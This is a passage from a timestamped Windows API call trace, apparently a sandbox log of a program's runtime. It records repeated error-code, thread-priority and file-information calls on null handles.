SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.698] GetLastError () returned 0x0 [0118.698] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.699] SetLastError (dwErrCode=0x0) [0118.699] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.700] SetLastError (dwErrCode=0x0) [0118.700] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.701] SetLastError (dwErrCode=0x0) [0118.701] GetLastError () returned 0x0 [0118.702] SetLastError (dwErrCode=0x0) [0118.702] GetLastError () returned 0x0 [0118.702] SetLastError (dwErrCode=0x0) [0118.702] GetLastError () returned 0x0 [0118.702] SetLastError (dwErrCode=0x0) [0118.702] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0118.702] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0118.703] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x406ed9) returned 0x0 [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.703] SetLastError (dwErrCode=0x0) [0118.703] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.704] SetLastError (dwErrCode=0x0) [0118.704] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.705] SetLastError (dwErrCode=0x0) [0118.705] GetLastError () returned 0x0 [0118.706] SetLastError (dwErrCode=0x0) [0118.706] GetLastError () returned 0x0 [0118.706] SetLastError (dwErrCode=0x0) [0118.706] GetLastError () returned 0x0 [0118.706] SetLastError (dwErrCode=0x0) [0118.706] GetLastError () returned 0x0 [0118.706] SetLastError (dwErrCode=0x0) [0118.706] PostMessageA (hWnd=0x0, Msg=0x1, wParam=0x0, lParam=0x0) returned 0 [0118.706] GetProcessTimes (in: hProcess=0x0, lpCreationTime=0x0, lpExitTime=0x0, lpKernelTime=0x0, lpUserTime=0x0 | out: lpCreationTime=0x0, lpExitTime=0x0, lpKernelTime=0x0, lpUserTime=0x0) returned 0 [0118.706] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.706] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.706] GetFileType (hFile=0x0) returned 0x0 [0118.706] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.706] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.706] GetFileType (hFile=0x0) returned 0x0 [0118.706] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.706] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.706] GetFileType (hFile=0x0) returned 0x0 [0118.706] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.706] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.706] GetFileType (hFile=0x0) returned 0x0 [0118.706] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.706] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.706] GetFileType (hFile=0x0) returned 0x0 [0118.706] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.706] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.706] GetFileType (hFile=0x0) returned 0x0 [0118.706] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.706] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.706] GetFileType (hFile=0x0) returned 0x0 [0118.706] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.706] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.706] GetFileType (hFile=0x0) returned 0x0 [0118.706] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.706] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.706] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.707] GetFileType (hFile=0x0) returned 0x0 [0118.707] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.707] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.708] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.708] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.708] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.709] GetFileType (hFile=0x0) returned 0x0 [0118.709] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.709] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] 